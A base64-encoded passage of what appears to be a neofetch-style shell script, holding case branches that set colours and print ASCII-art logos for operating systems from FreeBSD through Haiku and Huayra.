iAgICAgICAgOzsKCiAgICAgICAgImZyZWVic2Rfc21hbGwiKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfS9cXCwtJycnJyctLC9cXApcXF8pICAgICAgIChfLwp8ICAgICAgICAgICB8CnwgICAgICAgICAgIHwKIDsgICAgICAgICA7CiAgJy1fX19fXy0nCkVPRgogICAgICAgIDs7CgogICAgICAgIEZyZWVCU0QqfEhhcmRlbmVkQlNEKikKICAgICAgICAgICAgY2FzZSAkYXNjaWlfZGlzdHJvIGluCiAgICAgICAgICAgICAgICAqSGFyZGVuZWRCU0QqKSBzZXRfY29sb3JzIDQgNyAzIDs7CiAgICAgICAgICAgICAgICAqKSAgICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwogICAke2MyfWBgYCAgICAgICAgICAgICAgICAgICAgICAgICR7YzF9YAogICR7YzJ9YCBgLi4uLi4tLS0uLi4ke2MxfS4uLi4tLS5gYGAgICAtLwogICR7YzJ9K28gICAuLS1gICAgICAgICAgJHtjMX0veTpgICAgICAgKy4KICAke2MyfSB5b2A6LiAgICAgICAgICAgICR7YzF9Om8gICAgICBgKy0KICAgICR7YzJ9eS8gICAgICAgICAgICAgICAke2MxfS0vYCAgIC1vLwogICAke2MyfS4tICAgICAgICAgICAgICAgICAgJHtjMX06Oi9zeSs6LgogICAke2MyfS8gICAgICAgICAgICAgICAgICAgICAke2MxfWAtLSAgLwogICR7YzJ9YDogICAgICAgICAgICAgICAgICAgICAgICAgICR7YzF9OmAKICAke2MyfWA6ICAgICAgICAgICAgICAgICAgICAgICAgICAke2MxfTpgCiAgICR7YzJ9LyAgICAgICAgICAgICAgICAgICAgICAgICAgJHtjMX0vCiAgICR7YzJ9Li0gICAgICAgICAgICAgICAgICAgICAgICAke2MxfS0uCiAgICAke2MyfS0tICAgICAgICAgICAgICAgICAgICAgICR7YzF9LS4KICAgICAke2MyfWA6YCAgICAgICAgICAgICAgICAgICR7YzF9YDpgCiAgICAgICAuLS0gICAgICAgICAgICAgYC0tLgogICAgICAgICAgLi0tLS4uLi4uLS0tLS4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkZyZWVNaU5UIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgIyMKICAgICAgICAgICMjICAgICAgICAgIyMjIyMjIyMjCiAgICAgICAgICAgICAgICAgICAgIyMjIyAgICAgICMjCiAgICAgICAgICAgICMjIyMgICMjIyMgICAgICAgICMjCiMjIyMgICAgICAgICMjIyMgICMjICAgICAgICAjIwogICAgICAgICMjIyMgICAgIyMjIyAgICAgICMjICAjIwogICAgICAgICMjIyMgICMjIyMgICMjICAjIyAgIyMKICAgICAgICAgICAgIyMjIyAgIyMjIyMjCiAgICAgICAgIyMjIyMjICAjIyAgIyMgICMjIyMKICAgICAgIyMjIyAgICAjIyMjIyMjIyMjIyMjIyMjCiAgICAjIyMjICAgICAgICAjIyAgIyMjIwogICAgIyMgICAgICAgICAgICAjIyMjICAjIyMjIyMKICAgICMjICAgICAgIyMgICAgIyMjIyAgIyMjIwogICAgIyMgICAgIyMgICMjICAgICMjICAjIyAgIyMjIwogICAgICAjIyMjICAjIyAgICAgICAgICAjIyAgIyMKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkZydWdhbHdhcmUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgYCsrLzo6LS5gCiAgICAgICAgIC9vKysrKysrKysrLzo6LS5gCiAgICAgICAgYG8rKysrKysrKysrKysrKytvKysvOjotLmAKICAgICAgICAvKysrKysrKysrKysrKysrKysrKysrKytvbysrLzotLmBgCiAgICAgICAubytvb29vb29vb29vb29vb29vb29vc3Nzc3Nzc3NvKytvbysrLzotYAogICAgICAgKytvc29vb29vb29vb29vb3Nzc3Nzc3Nzc3Nzc3N5eW8rKysrKysrbzoKICAgICAgLW8rc3Nvb29vb29vb29vb29zc3Nzc3Nzc3Nzc3NzeXlvKysrKysrK3NgCiAgICAgIG8rK3Nzb29vb29vKysrKysrKysrKysrKytzc3N5eXl5bysrKysrK286CiAgICAgOm8rK3Nzb29vb29vJHtjMn0vLS0tLS0tLS0tLS0tLSR7YzF9K3N5eXl5eW8rKysrK29vCiAgICBgbysrK3Nzb29vb29vJHtjMn0vLS0tLS0ke2MxfSsrKysrb29vc3l5eXl5eW8rKysrb3M6CiAgICAvbysrK3Nzb29vb29vJHtjMn0vLS0tLS0ke2MxfW9vb29vb29zeXl5eXl5eW8rb29vc3MKICAgLm8rKysrc3Nvb29vb3Mke2MyfS8tLS0tLS0tLS0tLS0ke2MxfXN5eXl5eXloc29zc3N5LQogICArKysrKytzc29vb29zcyR7YzJ9Ly0tLS0tJHtjMX0rKysrK29veXloaGhoaGRzc3Nzc28KICAtcysrKysrc3lzc3Nzc3Mke2MyfS8tLS0tLSR7YzF9eXloaGhoaGhoaGhoaGRkc3Nzc3kuCiAgc29vb29vb3loeXl5eXloJHtjMn0vLS0tLS0ke2MxfWhoaGhoaGhoaGhoZGRkZHlzc3krCiA6eW9vb29vb3loeXl5aGhoeXl5eXl5aGhoaGhoaGhoaGRkZGRkeXNzeWAKIHlvb29vb29veWh5eWhoaGhoaGhoaGhoaGhoaGhoaGhkZGRkZGR5c3kvCi15c29vb29vb3lkaGhoaGhoaGhoaGhkZGRkZGRkZGRkZGRkZGRkc3N5CiAuLTovK29zc3N5eXl5c3l5eXl5eXl5eXl5eXl5eXl5eXl5eXlzc3k6CiAgICAgICBgYC4tLytvb3N5c3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3MKICAgICAgICAgICAgICAgYGAuOi8rb3N5eXNzc3Nzc3Nzc3Nzc3NoLgogICAgICAgICAgICAgICAgICAgICAgICBgLTovK29zeXlzc3NzeW8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuLTorKytgCkVPRgogICAgICAgIDs7CgogICAgICAgICJGdW50b28iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgLmRLWFhkICAgICAgICAgICAgICAgICAgICAgICAgIC4KICA6WFhsOzouICAgICAgICAgICAgICAgICAgICAgIC5PWG8KLidPWE8nJyAgLicnJycnJycnJycnJycnJycnJycnJzpYTmQuLidvY28ubGNvLAp4WFhYWFhYLCBjWFhYTk5OWFhYWE5OWFhYWFhYWFhOTk5OS09PSzsgZDBPIC5rCiAga1hYICB4WG8gIEtOTk4wICBLTk4uICAgICAgICd4WE5vICAgOmM7ICdjYy4KICBrWFggIHhObyAgS05OTjAgIEtOTi4gOnh4eHguICdOTm8KICBrWFggIHhObyAgbG9vb2MgIEtOTi4gb05OTk4uICdOTm8KICBrWFggIHhOMDouICAgICAgIEtOTicgb05OTlgnICxYTmsKICBrWFggIHhOTlhOTk5OTk5OTlhOTk5OTk5OTlhOTk94WE5YMFhsCiAgLi4uICAuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uIC47Y2M7LgpFT0YKICAgICAgICA7OwoKICAgICAgICAiR2FsbGl1bU9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9c29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vb28rOgp5eW9vb29vb29vb29vb29vb29vb29vb29vb29vb29vb29vbysvOjo6Cnl5eXNvb29vb29vb29vb29vb29vb29vb29vb29vb29vKy86Ojo6OjoKeXl5eXlvb29vb29vb29vb29vb29vb29vb29vb28rLzo6Ojo6Ojo6Ogp5eXl5eXlzb29vb29vb29vb29vb29vb29vKysvOjo6Ojo6Ojo6Ojo6Cnl5eXl5eXlzb29vb29vb29vb29vb28rKy86Ojo6Ojo6Ojo6Ojo6OjoKeXl5eXl5eXl5c29vb29vbyR7YzJ9c3lkZGR5cyR7YzF9Ky86Ojo6Ojo6Ojo6Ojo6OjoKeXl5eXl5eXl5eXNvb28ke2MyfXNtTU1NTU1NTU5kJHtjMX0rOjo6Ojo6Ojo6Ojo6OjoKeXl5eXl5eXl5eXl5byR7YzJ9c01NTU1NTU1NTU1NTiR7YzF9Lzo6Ojo6Ojo6Ojo6OjoKeXl5eXl5eXl5eXl5eSR7YzJ9ZE1NTU1NTU1NTU1NTSR7YzF9by8vOjo6Ojo6Ojo6OjoKeXl5eXl5eXl5eXl5eSR7YzJ9aE1NTU1NTU1NTU1NbSR7YzF9LS0vLzo6Ojo6Ojo6OjoKeXl5eXl5eXl5eXl5eXkke2MyfWhtTU1NTU1NTU55JHtjMX06Li4tOi8vOjo6Ojo6OjoKeXl5eXl5eXl5eXl5eXl5JHtjMn15eWhoeXlzKzoke2MxfS4uLi4uLjovLzo6Ojo6OjoKeXl5eXl5eXl5eXl5eXl5cys6LS0uLi4uLi4uLi4uLi0vLy86Ojo6Ogp5eXl5eXl5eXl5eXlzKzotLS4uLi4uLi4uLi4uLi4uLi46Ly86Ojo6Cnl5eXl5eXl5eW8rOi0uLi4uLi4uLi4uLi4uLi4uLi4uLi4tLy86OjoKeXl5eXl5bys6LS4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uOi8vOgp5eXlvKzotLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLS8vCm8vOi0uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkdhcnVkYSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcgNyAzIDcgMiA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoKJHtjM30KICAgICAgICAgICAgICAgICAgICAgLiU7ODg4Ojg4OTg4OTg6CiAgICAgICAgICAgICAgICAgICB4O1h4WEIlODliODpiOCViODg6CiAgICAgICAgICAgICAgICAuOFh4ZCAgICAgICAgICAgICAgICA4WDouCiAgICAgICAgICAgICAgLjhYeDsgICAgICAgICAgICAgICAgICAgIDh4Oi4KICAgICAgICAgICAgLnR0OHggICAgICAgICAgJHtjNn0uZCR7YzN9ICAgICAgICAgICAgeDg4OwogICAgICAgICAuQDh4ODsgICAgICAgICAgJHtjNn0uZGI6JHtjM30gICAgICAgICAgICAgIHh4QDsKICAgICAgICR7YzR9LHRTWFjCsCAgICAgICAgICAuYmJiYmJiYmJiYmJiYmJiYmJiYkI4eEA7CiAgICAgLlNYeHggICAgICAgICAgICBiQkJCQkJCQkJCQkJCQkJCQkJCQmJTQlg4OwogICAsODg4UyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwZCEKICA4WDg4LyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEKICBHQkIuCiAgICR7YzV9eCU4OCAgICAgICAgZDg4OEA4QFhAWEBYODhYQEBYWEBAWEA4QFguCiAgICAgZHhYZCAgICBkQjhiOGI4QjhCMDhiQjg4Yjk5ODg4OGI4OHguCiAgICAgIGR4eDhvICAgICAgICAgICAgICAgICAgICAgIC5AQDsuCiAgICAgICAgZHg4OCAgICAgICAgICAgICAgICAgICAudEB4LgogICAgICAgICAgZDpTU0A4YmE4OWFhNjdhODUzU3h4YWQuCiAgICAgICAgICAgIC5kOTg4OTk5ODg5ODg5ODk5ZGQuCgpFT0YKCiAgICAgICAgOzsKCiAgICAgICAgImdlbnRvb19zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSBfLS0tLS1fCiggICAgICAgXFwKXCAgICAwICAgXFwKJHtjMn0gXCAgICAgICAgKQogLyAgICAgIF8vCiggICAgIF8tClxfX19fLQpFT0YKICAgICAgICA7OwoKICAgICAgICAiR2VudG9vIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgIC0vb3lkZG1kaHMrOi4KICAgICAtbyR7YzJ9ZE5NTU1NTU1NTU5ObWh5KyR7YzF9LWAKICAgLXkke2MyfU5NTU1NTU1NTU1NTU5OTm1tZGh5JHtjMX0rLQogYG8ke2MyfW1NTU1NTU1NTU1NTU1ObWRtbW1tZGRoaHkke2MxfS9gCiBvbSR7YzJ9TU1NTU1NTU1NTU1OJHtjMX1oaHl5eW8ke2MyfWhtZGRkaGhoZCR7YzF9b2AKLnkke2MyfWRNTU1NTU1NTU1NZCR7YzF9aHMrK3NvL3Mke2MyfW1kZGRoaGhoZG0ke2MxfStgCiBveSR7YzJ9aGRtTk1NTU1NTU1OJHtjMX1keW9veSR7YzJ9ZG1kZGRkaGhoaHloTiR7YzF9ZC4KICA6byR7YzJ9eWhoZE5OTU1NTU1NTU5OTm1tZGRkaGhoaGh5eW0ke2MxfU1oCiAgICAuOiR7YzJ9K3N5ZE5NTU1NTU5OTm1tbWRkZGhoaGhoaG1NJHtjMX1teQogICAgICAgL20ke2MyfU1NTU1NTU5OTm1tbWRkZGhoaGhobU1OaCR7YzF9czoKICAgIGBvJHtjMn1OTU1NTU1NTU5OTm1tbWRkZGRoaGRtTU5ocyR7YzF9K2AKICBgcyR7YzJ9Tk1NTU1NTU1NTk5ObW1tZGRkZGRtTk1taHMke2MxfS8uCiAvTiR7YzJ9TU1NTU1NTU1OTk5ObW1tZGRkbU5NTmRzbyR7YzF9OmAKK00ke2MyfU1NTU1NTU5OTk5ObW1tbWRtTk1OZHNvJHtjMX0vLQp5TSR7YzJ9TU5OTk5OTk5tbW1tbU5OTW1ocysvJHtjMX0tYAovaCR7YzJ9TU1OTk5OTk5OTk1OZGhzKysvJHtjMX0tYApgLyR7YzJ9b2hkbW1kZGh5cysrKy86JHtjMX0uYAogIGAtLy8vLy8vOi0tLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiUGVudG9vIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgICAgYDpveWROTk1NTU1OTmR5bzpgCiAgICAgICAgOnlOTU1NTU1NTU1NTU1NTU1NTU55OgogICAgICA6ZE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1kOgogICAgIG9NTU1NTU1NaG8vLS4uLi4tL29oTU1NTU1NTW8KICAgIG9NTU1NTU15LiAgICAgICAgICAgIC55TU1NTU1NbwogICAuTU1NTU1NbyAgICAgICAgICAgICAgICBvTU1NTU1NLgogICArTU1NTU1tICAgICAgICAgICAgICAgICAgbU1NTU1NKwogICBvTU1NTU1oICAgICAgICAgICAgICAgICAgaE1NTU1NbwogLy9oTU1NTU1tLy8ke2MxfWAke2MyfSAgICAgICAgICAke2MxfWAke2MyfS8vLy9tTU1NTU1oLy8KTU1NTU1NTU1NTU0ke2MxfS8ke2MyfSAgICAgICR7YzF9L28vYCR7YzJ9ICAke2MxfS4ke2MyfXNtTU1NTU1NTU1NTU0KTU1NTU1NTU1NTW0gICAgICAke2MxfWBOTU46JHtjMn0gICAgJHtjMX0uJHtjMn15TU1NTU1NTU1NTQpNTU1NTU1NTU1NTWgke2MxfTouJHtjMn0gICAgICAgICAgICAgIGRNTU1NTU1NTU0KTU1NTU1NTU1NTU1NTXkke2MxfS4ke2MyfSAgICAgICAgICAgICR7YzF9LSR7YzJ9Tk1NTU1NTU1NTQpNTU1NTU1NTU1NTWQ6JHtjMX1gJHtjMn0gICAgICAgICAgICR7YzF9LSR7YzJ9eU5NTU1NTU1NTU1NCk1NTU1NTU1NTU1oJHtjMX1gJHtjMn0gICAgICAgICAgJHtjMX0uLyR7YzJ9aE5NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTSR7YzF9cyR7YzJ9ICAgICAgICAke2MxfS46JHtjMn15bU1NTU1NTU1NTU1NTU1NTQpNTU1NTU1NTU1NTiR7YzF9czouLi0vJHtjMn1vaE5NTU1NTU1NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KIE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTQoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImdsYXVjdXMiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAsLCAgICAgICAgLGQ4OFAKICAgICAgICAgICAsZDhQICAgICxhZDg4ODgqCiAgICAgICAgICw4ODhQICAgIGQ4ODg4OCogICAgICwsYWQ4ODg4UCoKICAgIGQgICBkODg4UCAgIGE4ODg4OFAqICAsYWQ4ODg4ODg4KgogIC5kOCAgZDg4ODg6ICBkODg4ODg4KiAsZDg4ODg4OFAqCiAuODg4OyA4ODg4OGIgZDg4ODg4ODhiODg4ODg4OFAKIGQ4ODg4Sjg4ODg4OGE4ODg4ODg4ODg4ODg4OFAqICAgICxkCiA4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4OFAgICAsLGQ4KgogODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4KgogKjg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODgqCiAgWTg4ODg4ODg4OFAqIGAqYGAqODg4ODg4ODg4ODg4KgogICAqXjg4OF4qICAgICAgICAgICAgKlk4ODhQKioKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImdOZXdTZW5zZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNSA3IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgLi4sLCwsLi4KICAgICAgICAgICAgICAgLm9vY2NoaGhoaGhoaGhoY2Nvby4KICAgICAgICAub2NoaGxsbGxsbGxjIGhoaGhoaCBvbGxsbGxsaGhjby4KICAgIG9jaGxsbGxsbGxsbGxsIGhoaGxsbGxsbGhoaCBsbGxsbGxsbGxsbGhjbwogLmNsbGxsbGxsbGxsbGxsbCBobGxsbGxvICAraGxsaCBsbGxsbGxsbGxsbGxsbGMuCm9sbGxsbGxsbGxsaGNvJycgIGhsbGxsbG8gICtobGxoICBgYG9jaGxsbGxsbGxsbGxvCmhsbGxsbGxsbGMnICAgICAgIGhsbGxsbGxsbGxsbGxoICAgICAgIGBjbGxsbGxsbGxoCm9sbGxsbGxoICAgICAgICAgICtsbGxsbGxsbGxsbGwrICAgICAgICAgIGhsbGxsbGxvCiBgY2xsbGxoLiAgICAgICAgICAgb2hsbGxsbGxobyAgICAgICAgICAgLmhsbGxsYycKICAgIG9jaGxsYy4gICAgICAgICAgICArKysrICAgICAgICAgICAgLmNsbGhjbwogICAgICAgYCtvY2Nvb28rLiAgICAgICAgICAgICAgICAuK29vb2NjbysnCiAgICAgICAgICAgICAgYCtvbysrKysgICAgICArKysrb28rJwpFT0YKICAgICAgICA7OwoKICAgICAgICAiR05PTUUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAsQEBAQEBAQEAsCiAgICAgICAgICAgICAgICAgQEBAQEBAICAgICAgQEBAQEBAQEBAQEBACiAgICAgICAgLEBALiAgICBAQEBAQEBAICAgICpAQEBAQEBAQEBAQEAKICAgICAgIEBAQEBAJSAgIEBAQEBAQCggICAgQEBAQEBAQEBAQEAmCiAgICAgICBAQEBAQEAgICAgQEBAQCogICAgIEBAQEBAQEBAQCMKQEBAQCogICBAQEBALCAgICAgICAgICAgICAgKkBAQEBAJQpAQEBAQC4KIEBAQEAjICAgICAgICAgQEBAQEBAQEBAQEBAQEBAQAogICAgICAgICAsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAsCiAgICAgICxAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQCYKICAgIC5AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBACiAgICBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAKICAgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAKAogICBAQEBAQEBAQEBAQEBAQEBAQEBAQCUKICAgIEBAQEBAQEBAQEBAQEBAQEAKICAgICBAQEBAQEBAQEBAQEAqICAgICAgICBAQEBAQEBAQC8KICAgICAgJkBAQEBAQEBAQEAgICAgICAgIEBAQEBAQEBAQCoKICAgICAgICBAQEBAQEBAQEBAQCwgICAgQEBAQEBAQEBAKgogICAgICAgICAgLEBAQEBAQEBAQEBAQEBAQEBAQEBAJgogICAgICAgICAgICAgICZAQEBAQEBAQEBAQEBAQAogICAgICAgICAgICAgICAgICAgICAuLi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkdOVSIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgZmcgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgXy1gYGBgYC0sICAgICAgICAgICAsLSAnLSAuCiAgLicgICAuLSAtIHwgICAgICAgICAgfCAtIC0uICBgLgogLy4nICAvICAgICAgICAgICAgICAgICAgICAgYC4gICBcCjovICAgOiAgICAgIF8uLi4gICAuLi5fICAgICAgYGAgICA6Cjo6ICAgOiAgICAgLy5fIC5gOidfLi5fXC4gICAgfHwgICA6Cjo6ICAgIGAuXyAuLyAgLGAgIDogICAgXCAuIF8uJycgICAuCmA6LiAgICAgIC8gICB8ICAtLiAgXC0uIFxcXyAgICAgIC8KICBcOi5fIF8vICAuJyAgIC5AKSAgXEApIGAgYFwgLC4nCiAgICAgXy8sLS0nICAgICAgIC4tIC5cLC0uYC0tYC4KICAgICAgICwnLycnICAgICAoKCBcIGAgICkKICAgICAgICAvJy8nICBcICAgIGAtJyAgKAogICAgICAgICAnLycnICBgLl8sLS0tLS0nCiAgICAgICAgICAnJy8nICAgIC4sLS0tJwogICAgICAgICAgICcnLycgICAgICA7OgogICAgICAgICAgICAgJycvJycgICcnLwogICAgICAgICAgICAgICAnJy8nJy8nJwogICAgICAgICAgICAgICAgICcvJy8nCiAgICAgICAgICAgICAgICAgIGA7CkVPRgogICAgICAgIDs7CgogICAgICAgICJHb2JvTGludXgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDQgNiAyCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgX19fX18gICAgICAgXwogLyBfX19ffCAgICAgfCB8CnwgfCAgX18gIF9fXyB8IHxfXyAgIF9fXwp8IHwgfF8gfC8gXyBcfCAnXyBcIC8gXyBcCnwgfF9ffCB8IChfKSB8IHxfKSB8IChfKSB8CiBcX19fX198XF9fXy98Xy5fXy8gXF9fXy8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkdyb21ieWFuZyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgMiAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgIGVlZWVlZWVlZWVlZQogICAgICAgICBlZWVlZWVlZWVlZWVlZWVlZQogICAgICBlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZQogICAgZWVlZWUgICAgICAgJHtjMn0ubysgICAgICAgJHtjMX1lZWVlCiAgZWVlZSAgICAgICAgICR7YzJ9YG9vby8gICAgICAgICAke2MxfWVlZWUKIGVlZWUgICAgICAgICAke2MyfWArb29vbzogICAgICAgICAke2MxfWVlZWUKZWVlICAgICAgICAgICR7YzJ9YCtvb29vb286ICAgICAgICAgICR7YzF9ZWVlCmVlZSAgICAgICAgICAke2MyfS0rb29vb29vKzogICAgICAgICAke2MxfWVlZQplZSAgICAgICAgICR7YzJ9YC86b29vb29vb28rOiAgICAgICAgICR7YzF9ZWUKZWUgICAgICAgICR7YzJ9YC8rICAgKysrICAgICs6ICAgICAgICAke2MxfWVlCmVlICAgICAgICAgICAgICAke2MyfStvK1wgICAgICAgICAgICAgJHtjMX1lZQplZWUgICAgICAgICAgICAgJHtjMn0rbytcICAgICAgICAgICAgJHtjMX1lZWUKZWVlICAgICAgICAke2MyfS8vICBcXG9vby8gIFxcXCAgICAgICAgJHtjMX1lZWUKIGVlZSAgICAgICR7YzJ9Ly8rKysrb29vbysrKytcXFwgICAgICR7YzF9ZWVlCiAgZWVlZSAgICAke2MyfTo6OjorK29vb28rOjo6OjogICAke2MxfWVlZWUKICAgIGVlZWVlICAgJHtjM31Hcm9tYnlhbmcgT1MgJHtjMX0gIGVlZWUKICAgICAgZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWUKICAgICAgICAgZWVlZWVlZWVlZWVlZWVlZWUKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImd1aXhfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcgNiAxIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9fC5fXyAgICAgICAgICBfXy58CnxfXyBcXCAgICAgICAgLyBfX3wKICAgXFwgXFwgICAgICAvIC8KICAgIFxcIFxcICAgIC8gLwogICAgIFxcIFxcICAvIC8KICAgICAgXFwgXFwvIC8KICAgICAgIFxcX18vCkVPRgogICAgICAgIDs7CgogICAgICAgICJHdWl4IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMyA3IDYgMSA4CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAuLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYC4KIGAtLS4uYGBgLi5gICAgICAgICAgICBgLi5gYGAuLi0tYAogICAuLTovLy8tOjo6LiAgICAgICBgLTo6Oi8vLzotLgogICAgICBgYGBgLjo6OmAgICAgIGA6OjouYGBgYAogICAgICAgICAgIC0vLzpgICAgIC06Oi0KICAgICAgICAgICAgOi8vOiAgIC06Oi0KICAgICAgICAgICAgYC8vLy0gLjo6OmAKICAgICAgICAgICAgIC0rKystOjo6LgogICAgICAgICAgICAgIDorLzo6Oi0KICAgICAgICAgICAgICBgLS4uLi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJoYWlrdV9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgOAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgLF4sCiAgICAgIC8gICBcXAoqLS1fIDsgICAgIDsgXy0tKgpcXCAgICciICAgICAiJyAgIC8KICcuICAgICAgICAgICAuJwouLSciICAgICAgICAgIictLgogJy0uX18uICAgLl9fLi0nCiAgICAgICB8X3wKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkhhaWt1IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSAzIDcgMgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjM30KCiAgICAgICAgICAgTU1NTSAgICAgICAgICAgICAgTU1NTQogICAgICAgICAgIE1NTU0gICAgICAgICAgICAgIE1NTU0KICAgICAgICAgICBNTU1NICAgICAgICAgICAgICBNTU1NCiAgICAgICAgICAgTU1NTSAgICAgICAgICAgICAgTU1NTQogICAgICAgICAgIE1NTU0ke2M0fSAgICAgICAuY2lPfCAvWU1NTU1NKiIKJHtjM30gICAgICAgICAgIE1NTU0ke2M0fSAgIC5jT01NTU1NfC9NTU1NTS9gCiAsICAgICAgICAgLGlNTXwvTU1NTU1NTU1NTU1NTU1NKgogIGAqLl9fLC1jTU1NTU1NTU1NTU1NTU1NTU0vYCR7YzN9Lk1NTQogICAgICAgICAgIE1NJHtjNH1NTU1NTU1NL2A6TU1NLyAgJHtjM31NTU1NCiAgICAgICAgICAgTU1NTSAgICAgICAgICAgICAgTU1NTQogICAgICAgICAgIE1NTU0gICAgICAgICAgICAgIE1NTU0KICAgICAgICAgICAiIiIiICAgICAgICAgICAgICAiIiIiCkVPRgogICAgICAgIDs7CgogICAgICAgICJIdWF5cmEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAgICAgICAgICAgICAgYAogICAgICAgICAgICAuICAgICAgIC4gICAgICAgYAogICAgICAgYGAgICAgLSAgICAgIC4gICAgICAuCiAgICAgICAgYC5gICAgLWAgYC4gLSAgYGAgLmAKICAgICAgICAgIC4uYC1gLWAgKyAtICAvIC5gICAgICBgYGAKICAgICAgICAgIC4tLS4rLS1gKzotIDovLmAgLi1gYC5gCiAgICAgICAgICAgIC0rL3N